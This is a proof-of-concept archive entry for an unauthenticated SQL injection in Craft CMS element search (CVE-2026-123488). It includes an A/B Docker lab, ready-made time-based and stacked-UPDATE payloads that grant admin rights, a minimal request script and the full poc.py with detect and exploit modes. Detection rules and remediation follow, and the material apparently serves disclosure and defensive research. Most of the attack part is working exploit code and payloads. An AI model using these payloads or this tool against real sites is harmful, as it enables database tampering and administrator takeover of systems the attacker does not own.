PoC Archive PoC Archive
CVE-2026-123488 category: web CVSS 9.8 (CRITICAL)
Patched

Craft CMS Unauthenticated SQL Injection in Element Search Escalating to Administrator (CVE-2026-123488)

Published: 2026-11-25 • Researcher: Nicolas Krassas (dinosn) — PoC/lab; Craft CMS — vendor advisory; VulnCheck — CNA/CVE assignment

Target software Craft CMS (craftcms/cms) — element search query builder
Affected versions 4.0.0 before 4.18.9 and 5.0.0 before 5.11.2 (README: 4.0.0–4.18.8 and 5.0.0–5.11.1; fixed 4.18.9 / 5.11.2 on 2026-09-17)
Status Weaponized
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-123488 (GHSA-qcvp-ggx3-97r6)
Category
web
Affected product
Craft CMS (craftcms/cms) — element search query builder
Affected versions
4.0.0 before 4.18.9 and 5.0.0 before 5.11.2 (README: 4.0.0–4.18.8 and 5.0.0–5.11.1; fixed 4.18.9 / 5.11.2 on 2026-09-17)
Disclosed
2026-11-25
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-11-08
Author / ResearcherNicolas Krassas (dinosn) — PoC/lab; Craft CMS — vendor advisory; VulnCheck — CNA/CVE assignment
CVE / AdvisoryCVE-2026-123488 (GHSA-qcvp-ggx3-97r6)
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H); 9.3 (CVSS 4.0)
StatusWeaponized
TagsSQLi, unauthenticated, Craft CMS, PHP, MySQL, stacked-statements, privilege-escalation, CWE-89, admin-takeover, emulated-prepares
RelatedN/A

Affected Target

FieldValue
Software / SystemCraft CMS (craftcms/cms) — element search query builder
Versions Affected4.0.0 before 4.18.9 and 5.0.0 before 5.11.2 (README: 4.0.0–4.18.8 and 5.0.0–5.11.1; fixed 4.18.9 / 5.11.2 on 2026-09-17)
Language / PlatformPHP 8.x on Apache/PHP-FPM; MySQL 8.0 or MariaDB backend
Authentication RequiredNo
Network Access RequiredYes

Summary

Craft CMS 4.0.0 through 4.18.8 and 5.0.0 through 5.11.1 contain an unauthenticated SQL injection in the element search endpoint. When a public site template forwards request input into an element query search, an attacker can supply a bracketed search parameter whose attribute value is concatenated raw into the SQL WHERE clause, and MySQL or MariaDB runs with emulated PDO prepares so stacked statements also execute. An attacker can therefore read or write the database without authentication, for example setting the admin flag on the users table or overwriting password hashes to take over an administrator account. The archived PoC automates a time-based detection oracle and a stacked UPDATE that elevates the admin account, validated against a vulnerable 4.18.8 instance and a patched 4.18.9 negative control.

Vulnerability Details

Root Cause

Craft CMS builds element search queries from a request-supplied search parameter. When that parameter arrives as a PHP array, Search::normalizeSearchQuery() merges every attacker-controlled key into the default term options and stamps those options onto each parsed search term. The attribute option is then consumed by Search::_sqlWhere(), which quotes the column name but interpolates the supplied value into the SQL string rather than binding it. Because the MySQL/MariaDB PDO driver runs with ATTR_EMULATE_PREPARES=1 (the default in Craft’s database configuration), PDO does not use server-side prepared statements, so a semicolon-separated second statement in the value is executed as well. Craft 4.18.9 / 5.11.2 fix the issue by restricting accepted default term options to an allowlist (subLeft, subRight, exclude, exact) and by quoting the value.

Attack Vector

An unauthenticated attacker sends an HTTP request to any public front-end template that passes request input into an element query search — for example /index.php?p=search&search[query]=hello&search[attribute]=PAYLOAD. The lab sink is craft.users().search(craft.app.request.getParam('search')); any element type reachable through the search index uses the same vulnerable code path. No login or control-panel session is needed, but a site-specific template that reaches the sink must exist (the lab ships one). The time-based oracle payload is x')) or (select sleep(3)); # and the write payload is x')) or 1=1; update users set admin=1 where username='admin'; #.

Impact

Read and write access to the Craft database under the configured database user: dumping users, sessions, tokens and content, flipping users.admin or overwriting password hashes to gain administrator access to the control panel. Administrator access in turn exposes plugin installation, template editing and other site-management features, so the SQL injection can be a stepping stone to wider compromise. The archived PoC demonstrates the admin-flag flip; data exfiltration is possible through the same primitive but is not implemented upstream.

Environment / Lab Setup

Output
OS:          Linux x86_64 with Docker Engine and Docker Compose v2
Target:      Craft CMS 4.18.8 (vulnerable, http://localhost:18080)
             Craft CMS 4.18.9 (patched negative control, http://localhost:18081)
             MySQL 8.0 shared backend (databases craft_vuln and craft_patched)
Attacker:    Linux/macOS host with Python 3 (standard library only), same host or LAN
Tools:       Docker Compose, Python 3, curl, MySQL client (optional)

Setup Steps

Shell script
1
2
3
4
5
6
docker compose up -d

docker compose logs -f craft-vuln

curl -s -o /dev/null -w '%{http_code}\n' 'http://localhost:18080/index.php?p=search&search%5Bquery%5D=hello'
curl -s -o /dev/null -w '%{http_code}\n' 'http://localhost:18081/index.php?p=search&search%5Bquery%5D=hello'

Both containers build the same image from craft/Dockerfile, pinned to craftcms/cms:4.18.8 and 4.18.9 respectively, install Craft unattended with a throwaway admin user, and serve the craft/templates/search.html sink. MySQL 8.0 is initialised from init.sql with one database per side.

Proof of Concept

Step-by-Step Reproduction

  1. Start the A/B lab — docker compose up -d, then wait until the install script reports the users table snapshot in docker compose logs -f craft-vuln.
    Shell script
    1
    
    docker compose up -d
  2. Dry run — print the exact request the tool would send without sending anything.
    Shell script
    1
    
    python3 poc.py --check-url "http://localhost:18080/index.php?p=search"
  3. Detection oracle on the vulnerable side — the sleep() runs per scanned row, so a 3-second sleep measures ~18 seconds on the lab’s six candidate rows.
    Shell script
    1
    
    python3 poc.py --detect --target "http://localhost:18080/index.php?p=search" --delay 3
  4. Negative control on the patched side — the same request against 4.18.9 should return immediately and the tool should report no delay.
    Shell script
    1
    
    python3 poc.py --detect --target "http://localhost:18081/index.php?p=search" --delay 3
  5. Exploit — re-runs the oracle and then sends the stacked UPDATE users SET admin=1 (this writes to the database).
    Shell script
    1
    
    python3 poc.py --exploit --target "http://localhost:18080/index.php?p=search" --delay 3
  6. Verify causally — the admin flag must be 1 only on the vulnerable side; validate-lab.sh resets the baseline, runs both sides and prints the verdict table.
    Shell script
    1
    2
    3
    4
    
    ./validate-lab.sh
    # or inspect directly:
    docker compose exec -T mysql mysql -ucraft -pcraftpw craft_vuln    -e "select username,admin from users;"
    docker compose exec -T mysql mysql -ucraft -pcraftpw craft_patched -e "select username,admin from users;"

Exploit Code

See poc.py for the full detect/exploit tool and validate-lab.sh for the A/B battery.

Minimal inline request shape (illustration; the archived tool handles timing and verification):

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import urllib.parse
import urllib.request

TARGET = "http://localhost:18080/index.php?p=search"
PAYLOAD = "x')) or 1=1; update users set admin=1 where username='admin'; #"

url = TARGET + "&" + urllib.parse.urlencode({
    "search[query]": "hello",
    "search[attribute]": PAYLOAD,
})
req = urllib.request.Request(url, headers={"User-Agent": "CVE-2026-123488-lab-poc"})
print(urllib.request.urlopen(req, timeout=180).status)

Expected Output

Output
1
2
3
4
5
6
7
8
9
[*] detection oracle: http://localhost:18080/index.php?p=search (sleep 3)
[+] 18.00s — delay observed (expected >= 3s; scales with scanned rows)
[*] --detect: stopping here, nothing written

[*] stacked statement: x')) or 1=1; update users set admin=1 where username='admin'; #
[+] sent. verify the admin flag directly in the database (users.admin == 1)

mysql> select username,admin from users;
admin   1

Upstream’s measured A/B table: detection with sleep 3 took 18.0 s on 4.18.8 and 0.0 s on 4.18.9; the stacked UPDATE left users.admin at 0 on the patched control and flipped it 0 → 1 on the vulnerable side.

Detection & Indicators of Compromise

  • Front-end requests carrying bracketed search parameters, especially search[attribute] / search%5Battribute%5D, which normal Craft search forms do not produce.
  • Payload markers in the query string: )) or, sleep(, update ... users set admin, 1=1, and a trailing # comment.
  • Response-time anomalies that scale with the requested sleep value (the oracle runs once per scanned row), repeated against the same template.
  • MySQL general or slow-query logs showing sleep() in an element search statement or a stacked UPDATE users SET admin=1.
  • A users.admin value flipping from 0 to 1 with no control-panel action, unexpected administrator logins, or new admin accounts.
Output
"GET /index.php?p=search&search%5Bquery%5D=hello&search%5Battribute%5D=x%27%29%29+or+%28select+sleep%283%29%29%3B+%23 HTTP/1.1" 200
"GET /index.php?p=search&search%5Battribute%5D=x%27%29%29+or+1%3D1%3B+update+users+set+admin%3D1+where+username%3D%27admin%27%3B+%23 HTTP/1.1" 200

SIEM / IDS rule (example):

Output
1
2
3
4
5
6
SecRule ARGS_NAMES "@rx ^search\[(attribute|query)\]$" \
  "id:9002612,phase:2,deny,status:403,log,msg:'CVE-2026-123488 Craft CMS element-search SQLi attempt'"

alert http any any -> any any (msg:"CVE-2026-123488 Craft CMS element search SQLi"; \
  content:"search%5Battribute%5D"; http_uri; nocase; \
  content:"sleep("; http_uri; nocase; sid:9002613;)

Remediation

ActionDetail
PatchUpgrade Craft CMS to 4.18.9 or 5.11.2 (or later) and run the pending database migrations; the fix allowlists default term options and quotes the attribute value.
WorkaroundDo not pass raw request parameters into element query search; validate/allowlist searchable attributes and normalize search to a string, or block array-form search parameters at the reverse proxy/WAF. Remove or protect public search templates until patched.
Config HardeningRun Craft with a least-privilege database user (no FILE or global privileges, only the Craft schema); disable PDO emulated prepares if the stack allows it (defense in depth — it blocks stacked writes, not the injection); put a WAF in front of the site, restrict control-panel access, and alert on users.admin changes and bracketed search parameters.

References

Notes

Auto-ingested from https://github.com/dinosn/CVE-2026-123488-CraftCMS-Lab on 2026-11-25.

Review verdict: ingested as a real exploit PoC, not a detector. poc.py is a working tool — --detect is a time-based oracle, and --exploit sends the stacked UPDATE; validate-lab.sh reproduces the vulnerable-versus-patched A/B claim and shows users.admin flipping 0 → 1 only on 4.18.8. The upstream README attributes prior art to fixedbyreboot/CVE-2026-123488-POC; that claim was recorded but not independently verified here. License is MIT (Copyright (c) 2026 Nicolas Krassas); the LICENSE file is archived with the entry.

Limitations and caveats:

  • Exploitation requires a reachable public template that forwards request input into an element query search (the lab ships craft/templates/search.html using craft.users().search(...)). Stock Craft installs have no such sink, so an arbitrary out-of-the-box site is not automatically exploitable.
  • The stacked second statement depends on MySQL/MariaDB with PDO ATTR_EMULATE_PREPARES=1, the default. With server-side prepares or a non-MySQL driver the timing oracle still works but stacked writes do not.
  • The archived exploit only flips the admin flag. It does not dump data or overwrite password hashes, although both are possible through the same primitive per the advisory; table and username are adjustable with --table and --adminuser.
  • The sleep() oracle runs per scanned row, so the observed delay scales with the result set; on a large site the default --delay 3 may exceed the client timeout, so reduce it.
  • The repo README’s file list says docker-compose.yml but the shipped file is compose.yaml; Compose v2 works as documented.
  • Lab credentials (admin/adminadmin, MySQL craft/craftpw) are throwaway and local-only. The exploit was not executed during ingestion. The near-complete lab tree is archived (13 source/config files plus LICENSE and the upstream README); only .git, .gitignore and the .env generated at install time are absent.
  • Run only against systems you own or have explicit written authorization to test.
poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/dinosn/CVE-2026-123488-CraftCMS-Lab (see README for attribution/license)
"""
CVE-2026-123488 / GHSA-qcvp-ggx3-97r6 — Craft CMS unauthenticated SQL injection.

Vulnerability
-------------
A `search` request parameter sent as a PHP array (bracket params) reaches
Search::normalizeSearchQuery(), where every attacker-supplied key is merged
into the SearchQuery default term options and stamped onto each parsed term.
The `attribute` key flows into Search::_sqlWhere(), which quotes the column
name but interpolates the value into SQL raw. On MySQL/MariaDB, PDO runs with
ATTR_EMULATE_PREPARES=1 (default), so stacked statements execute — an
unauthenticated attacker can read/write any table, including users.admin.

Affected:  Craft CMS 4.0.0 - 4.18.8 and 5.0.0 - 5.11.1
Fixed:     4.18.9 / 5.11.2 (2026-09-17; CVE assigned 2026-11-06)

Modes
-----
--check-url : print the request that would be sent, send nothing (safe default).
--detect    : time-based sleep(N) oracle only — no write.
--exploit   : detection oracle, then a stacked
              `UPDATE <table> SET admin=1 WHERE username='<user>'`.

The injection is validated against an A/B lab (4.18.8 vs 4.18.9) — see README.
Only use against systems you own or are authorized to test.
"""

import argparse
import sys
import time
import urllib.error
import urllib.parse
import urllib.request

DETECT = "x')) or (select sleep({delay})); #"
EXPLOIT = "x')) or 1=1; update {table} set admin=1 where username='{user}'; #"

UA = "Mozilla/5.0 (X11; Linux x86_64) CVE-2026-123488-lab-poc"


def params(payload: str) -> dict:
    return {"search[query]": "hello", "search[attribute]": payload}


def send(url: str, payload: str) -> float:
    full = url + ("&" if "?" in url else "?") + urllib.parse.urlencode(params(payload))
    req = urllib.request.Request(full, headers={"User-Agent": UA})
    t0 = time.time()
    try:
        urllib.request.urlopen(req, timeout=180).read()
    except urllib.error.HTTPError as e:
        e.read()
    except urllib.error.URLError as e:
        print(f"[!] request failed: {e.reason}", file=sys.stderr)
        sys.exit(2)
    return time.time() - t0


def check_url(base: str, delay: int) -> None:
    qs = urllib.parse.urlencode(params(DETECT.format(delay=delay)))
    print(f"[*] would request: {base}{'&' if '?' in base else '?'}{qs}")
    print("[*] dry run — nothing sent")


def run(target: str, delay: int, table: str, user: str, exploit: bool) -> int:
    print(f"[*] detection oracle: {target} (sleep {delay})")
    dt = send(target, DETECT.format(delay=delay))
    if dt < delay:
        print(f"[-] {dt:.2f}s — no delay: not vulnerable (or patched, or no reachable sink)")
        return 1
    print(f"[+] {dt:.2f}s — delay observed (expected >= {delay}s; scales with scanned rows)")
    if not exploit:
        print("[*] --detect: stopping here, nothing written")
        return 0
    stmt = EXPLOIT.format(table=table, user=user)
    print(f"[*] stacked statement: {stmt}")
    send(target, stmt)
    print(f"[+] sent. verify the admin flag directly in the database (users.{user}.admin == 1)")
    return 0


def main() -> int:
    ap = argparse.ArgumentParser(description="CVE-2026-123488 Craft CMS SQLi PoC (lab tool)")
    ap.add_argument("--check-url", metavar="URL", help="print the request and exit (safe default)")
    mode = ap.add_mutually_exclusive_group()
    mode.add_argument("--detect", action="store_true",
                      help="detection oracle only — time-based, no write (default with --target)")
    mode.add_argument("--exploit", action="store_true",
                      help="detection + stacked UPDATE users SET admin=1 (writes!)")
    ap.add_argument("--target", metavar="URL", help="sink URL, e.g. http://host:18080/index.php?p=search")
    ap.add_argument("--delay", type=int, default=3, help="sleep() seconds for the oracle (default: 3)")
    ap.add_argument("--table", default="users", help="users table name incl. prefix (default: users)")
    ap.add_argument("--adminuser", default="admin", help="username to escalate (default: admin)")
    a = ap.parse_args()

    if not a.target and not a.check_url:
        ap.error("give --target or --check-url (dry run)")
    if a.check_url:
        check_url(a.check_url, a.delay)
        return 0
    return run(a.target, a.delay, a.table, a.adminuser, exploit=a.exploit)


if __name__ == "__main__":
    sys.exit(main())